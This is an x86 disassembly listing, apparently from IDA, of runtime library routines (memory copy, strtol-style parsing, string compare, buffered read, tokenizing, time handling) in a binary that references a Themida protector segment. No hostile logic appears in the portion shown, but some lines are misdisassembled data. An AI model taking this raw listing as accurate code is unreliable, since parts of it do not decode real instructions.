		mov	[edi+ecx*4-0Ch], eax

loc_4183E4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4183EC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4183FF:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0:off_41839Co
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_418408	dd offset loc_418418	; DATA XREF: sub_4182C0+35r
					; sub_4182C0+92r ...
		dd offset loc_418420
		dd offset loc_41842C
		dd offset loc_418440
; ---------------------------------------------------------------------------

loc_418418:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_418420:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41842C:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_418440:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_418458:				; CODE XREF: sub_4182C0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41848C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_418480:				; CODE XREF: sub_4182C0+1B1j
					; sub_4182C0+208j ...
		neg	ecx
		jmp	off_418550[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41848C:				; CODE XREF: sub_4182C0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4184A4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4184A4+4[eax*4]
; ---------------------------------------------------------------------------

loc_4184A4:				; CODE XREF: sub_4182C0+1D6j
					; DATA XREF: sub_4182C0+1DDr
		jmp	off_4185A0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4184B7+1
; ---------------------------------------------------------------------------
		fadd	dword ptr [ecx+eax*2+41850000h]

loc_4184B7:				; DATA XREF: sub_4182C0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_418554
		dd offset loc_41855C
		dd offset loc_418564
		dd offset loc_41856C
		dd offset loc_418574
		dd offset loc_41857C
		dd offset loc_418584
off_418550	dd offset loc_418597	; DATA XREF: sub_4182C0+1C2r
; ---------------------------------------------------------------------------

loc_418554:				; DATA XREF: sub_4182C0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41855C:				; DATA XREF: sub_4182C0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_418564:				; DATA XREF: sub_4182C0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41856C:				; DATA XREF: sub_4182C0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_418574:				; DATA XREF: sub_4182C0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41857C:				; DATA XREF: sub_4182C0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_418584:				; DATA XREF: sub_4182C0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_418597:				; CODE XREF: sub_4182C0+1C2j
					; DATA XREF: sub_4182C0:off_418550o
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4185A0	dd offset loc_4185B0	; DATA XREF: sub_4182C0+1B7r
					; sub_4182C0:loc_4184A4r ...
		dd offset loc_4185B8
		dd offset loc_4185C8
		dd offset loc_4185DC
; ---------------------------------------------------------------------------

loc_4185B0:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4185B8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4185C8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4185DC:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4182C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185F5	proc near		; CODE XREF: sub_40473F+34p
					; sub_40473F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_4185F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_418603	proc near		; CODE XREF: sub_418670+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_48B69C
		call	sub_41D5A8
		mov	edx, dword_48B69C
		pop	ecx
		mov	ecx, dword_48B698
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_418662
		push	edx
		call	sub_41D5A8
		add	eax, 10h
		push	eax
		push	dword_48B69C
		call	sub_41944F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418645
		retn
; ---------------------------------------------------------------------------

loc_418645:				; CODE XREF: sub_418603+3Fj
		mov	ecx, dword_48B698
		sub	ecx, dword_48B69C
		mov	dword_48B69C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_48B698, ecx

loc_418662:				; CODE XREF: sub_418603+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_48B698, 4
		retn
sub_418603	endp


; =============== S U B	R O U T	I N E =======================================



sub_418670	proc near		; CODE XREF: sub_40482C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_418603
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_418670	endp


; =============== S U B	R O U T	I N E =======================================



sub_418682	proc near		; DATA XREF: ___:00426018o
		push	80h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	dword_48B69C, eax
		jnz	short loc_4186A3
		push	18h
		call	sub_419CDA
		mov	eax, dword_48B69C
		pop	ecx

loc_4186A3:				; CODE XREF: sub_418682+12j
		and	dword ptr [eax], 0
		mov	eax, dword_48B69C
		mov	dword_48B698, eax
		retn
sub_418682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186B1	proc near		; CODE XREF: ___:00404AFFp
					; sub_4053D5+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	near ptr 2610000h
		nop
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2820000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_48A00A
		jnz	short loc_418716
		mov	ax, [ebp+var_18]
		cmp	ax, word_48A008
		jnz	short loc_418716
		mov	ax, [ebp+var_1A]
		cmp	ax, word_48A006
		jnz	short loc_418716
		mov	ax, [ebp+var_1E]
		cmp	ax, word_48A002
		jnz	short loc_418716
		mov	ax, [ebp+var_20]
		cmp	ax, word_48A000
		jnz	short loc_418716
		mov	eax, dword_489FF8
		jmp	short loc_41875B
; ---------------------------------------------------------------------------

loc_418716:				; CODE XREF: sub_4186B1+28j
					; sub_4186B1+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 2810000h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418743
		cmp	eax, 2
		jnz	short loc_41873F
		cmp	[ebp+var_32], 0
		jz	short loc_41873F
		cmp	[ebp+var_24], 0
		jz	short loc_41873F
		push	1
		pop	eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------

loc_41873F:				; CODE XREF: sub_4186B1+7Aj
					; sub_4186B1+81j ...
		xor	eax, eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------

loc_418743:				; CODE XREF: sub_4186B1+75j
		or	eax, 0FFFFFFFFh

loc_418746:				; CODE XREF: sub_4186B1+8Cj
					; sub_4186B1+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_48A000
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_489FF8, eax
		pop	esi

loc_41875B:				; CODE XREF: sub_4186B1+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax

loc_418766:				; DATA XREF: Themida_:005113EFo
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41D609
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41878B
		mov	[ecx], eax

locret_41878B:				; CODE XREF: sub_4186B1+D6j
		leave
		retn
sub_4186B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418790	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_48A0A0
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4187E3
		mov	al, 0FFh
		mov	edi, edi

loc_4187AC:				; CODE XREF: sub_418790+28j
					; sub_418790+48j
		or	al, al
		jz	short loc_4187DE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_4187AC
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_4187AC
		sbb	al, al
		sbb	al, 0FFh

loc_4187DE:				; CODE XREF: sub_418790+1Ej
		movsx	eax, al
		jmp	short loc_418817
; ---------------------------------------------------------------------------

loc_4187E3:				; CODE XREF: sub_418790+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi

loc_4187EC:				; CODE XREF: sub_418790+68j
					; sub_418790+80j
		or	al, al
		jz	short loc_418817
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_4187EC
		push	eax
		push	ebx
		call	sub_419101
		mov	ebx, eax
		add	esp, 4
		call	sub_419101
		add	esp, 4
		cmp	bl, al
		jz	short loc_4187EC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_418817:				; CODE XREF: sub_418790+51j
					; sub_418790+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418790	endp


; =============== S U B	R O U T	I N E =======================================



sub_41881C	proc near		; CODE XREF: sub_41AB9C+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_41881C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418833	proc near		; CODE XREF: sub_41881C+Ep
					; sub_418A3B+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41884B:				; CODE XREF: sub_418833+46j
		cmp	dword_4397AC, 1
		jle	short loc_418863
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418872
; ---------------------------------------------------------------------------

loc_418863:				; CODE XREF: sub_418833+1Fj
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_418872:				; CODE XREF: sub_418833+2Ej
		test	eax, eax
		jz	short loc_41887B
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41884B
; ---------------------------------------------------------------------------

loc_41887B:				; CODE XREF: sub_418833+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_418889
		or	[ebp+arg_C], 2
		jmp	short loc_41888E
; ---------------------------------------------------------------------------

loc_418889:				; CODE XREF: sub_418833+4Ej
		cmp	bl, 2Bh
		jnz	short loc_418894

loc_41888E:				; CODE XREF: sub_418833+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_418894:				; CODE XREF: sub_418833+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_418A2B
		cmp	eax, 1
		jz	loc_418A2B
		cmp	eax, 24h
		jg	loc_418A2B
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4188DC
		cmp	bl, 30h
		jz	short loc_4188C6
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------

loc_4188C6:				; CODE XREF: sub_418833+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188D9
		cmp	al, 58h
		jz	short loc_4188D9
		mov	[ebp+arg_8], 8
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------

loc_4188D9:				; CODE XREF: sub_418833+97j
					; sub_418833+9Bj
		mov	[ebp+arg_8], ecx

loc_4188DC:				; CODE XREF: sub_418833+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4188F8
		cmp	bl, 30h
		jnz	short loc_4188F8
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188F0
		cmp	al, 58h
		jnz	short loc_4188F8

loc_4188F0:				; CODE XREF: sub_418833+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_4188F8:				; CODE XREF: sub_418833+91j
					; sub_418833+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_418908:				; CODE XREF: sub_418833+16Cj
		cmp	dword_4397AC, 1
		movzx	esi, bl
		jle	short loc_418920
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41892B
; ---------------------------------------------------------------------------

loc_418920:				; CODE XREF: sub_418833+DFj
		mov	eax, off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41892B:				; CODE XREF: sub_418833+EBj
		test	eax, eax
		jz	short loc_418937
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_418969
; ---------------------------------------------------------------------------

loc_418937:				; CODE XREF: sub_418833+FAj
		cmp	dword_4397AC, 1
		jle	short loc_41894B
		push	edi
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418956
; ---------------------------------------------------------------------------

loc_41894B:				; CODE XREF: sub_418833+10Bj
		mov	eax, off_4395A0
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_418956:				; CODE XREF: sub_418833+116j
		test	eax, eax
		jz	short loc_4189A4
		movsx	eax, bl
		push	eax
		call	sub_41D6CB
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_418969:				; CODE XREF: sub_418833+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4189A4
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41898E
		jnz	short loc_418988
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41898E

loc_418988:				; CODE XREF: sub_418833+147j
		or	[ebp+arg_C], 4
		jmp	short loc_418997
; ---------------------------------------------------------------------------

loc_41898E:				; CODE XREF: sub_418833+145j
					; sub_418833+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_418997:				; CODE XREF: sub_418833+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_418908
; ---------------------------------------------------------------------------

loc_4189A4:				; CODE XREF: sub_418833+125j
					; sub_418833+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4189C2
		test	edx, edx
		jz	short loc_4189BC
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_4189BC:				; CODE XREF: sub_418833+181j
		and	[ebp+var_8], 0
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------

loc_4189C2:				; CODE XREF: sub_418833+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_4189E8
		test	cl, 1
		jnz	short loc_418A0F
		and	ecx, 2
		jz	short loc_4189DF
		cmp	[ebp+var_8], 80000000h
		ja	short loc_4189E8

loc_4189DF:				; CODE XREF: sub_418833+1A1j
		test	ecx, ecx
		jnz	short loc_418A0F
		cmp	[ebp+var_8], eax
		jbe	short loc_418A0F

loc_4189E8:				; CODE XREF: sub_418833+197j
					; sub_418833+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_48A014, 22h
		jz	short loc_4189FE
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------

loc_4189FE:				; CODE XREF: sub_418833+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_418A0F:				; CODE XREF: sub_418833+18Dj
					; sub_418833+19Cj ...
		test	edx, edx
		jz	short loc_418A18
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_418A18:				; CODE XREF: sub_418833+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_418A26
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_418A26:				; CODE XREF: sub_418833+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_418A36
; ---------------------------------------------------------------------------

loc_418A2B:				; CODE XREF: sub_418833+66j
					; sub_418833+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418A34
		mov	[eax], edi

loc_418A34:				; CODE XREF: sub_418833+1FDj
		xor	eax, eax

loc_418A36:				; CODE XREF: sub_418833+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418833	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A3B	proc near		; CODE XREF: sub_4053D5+4BDp
					; sub_40EE72+3775p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_418A3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A52	proc near		; CODE XREF: sub_4053D5+266p
					; sub_4053D5+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_417AB0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D797
		add	esp, 10h
		leave
		retn
sub_418A52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A86	proc near		; CODE XREF: sub_405A58+4Ep
					; sub_406C19+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_418AAA
		xor	eax, eax
		jmp	loc_418B53
; ---------------------------------------------------------------------------

loc_418AAA:				; CODE XREF: sub_418A86+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418ABD
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------

loc_418ABD:				; CODE XREF: sub_418A86+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------

loc_418AC6:				; CODE XREF: sub_418A86+C4j
		mov	ecx, [ebp+arg_0]

loc_418AC9:				; CODE XREF: sub_418A86+35j
					; sub_418A86+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418AFB
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_418AFB
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_418AE0
		mov	edi, eax

loc_418AE0:				; CODE XREF: sub_418A86+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_417390
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_418B46
; ---------------------------------------------------------------------------

loc_418AFB:				; CODE XREF: sub_418A86+49j
					; sub_418A86+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_418B2E
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_418B11
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_418B11:				; CODE XREF: sub_418A86+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418B58
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418B5E
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_418B46
; ---------------------------------------------------------------------------

loc_418B2E:				; CODE XREF: sub_418A86+78j
		push	esi
		call	sub_41E248
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418B62
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_418B46:				; CODE XREF: sub_418A86+73j
					; sub_418A86+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_418AC6
		mov	eax, [ebp+arg_8]

loc_418B53:				; CODE XREF: sub_418A86+1Fj
					; sub_418A86+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_418B58:				; CODE XREF: sub_418A86+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_418B62
; ---------------------------------------------------------------------------

loc_418B5E:				; CODE XREF: sub_418A86+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_418B62:				; CODE XREF: sub_418A86+B2j
					; sub_418A86+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_418B53
sub_418A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B6E	proc near		; CODE XREF: sub_405AF2+2B2p
					; sub_4060D0+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_418B87:				; CODE XREF: sub_418B6E+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_418B87
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_418BAF
		mov	edx, dword_48A010

loc_418BAF:				; CODE XREF: sub_418B6E+39j
					; sub_418B6E+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_418BCF
		test	al, al
		jz	short loc_418BCF
		inc	edx
		jmp	short loc_418BAF
; ---------------------------------------------------------------------------

loc_418BCF:				; CODE XREF: sub_418B6E+58j
					; sub_418B6E+5Cj
		mov	ebx, edx

loc_418BD1:				; CODE XREF: sub_418B6E+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_418BF5
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_418BF1
		inc	edx
		jmp	short loc_418BD1
; ---------------------------------------------------------------------------

loc_418BF1:				; CODE XREF: sub_418B6E+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_418BF5:				; CODE XREF: sub_418B6E+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_48A010, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_418B6E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_406387+1B6p
					; sub_407252+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_418C93
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_418C34
		shr	ecx, 2
		jnz	short loc_418CA1
		jmp	short loc_418C55
; ---------------------------------------------------------------------------

loc_418C34:				; CODE XREF: sub_418C10+1Bj
					; sub_418C10+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_418C62
		test	al, al
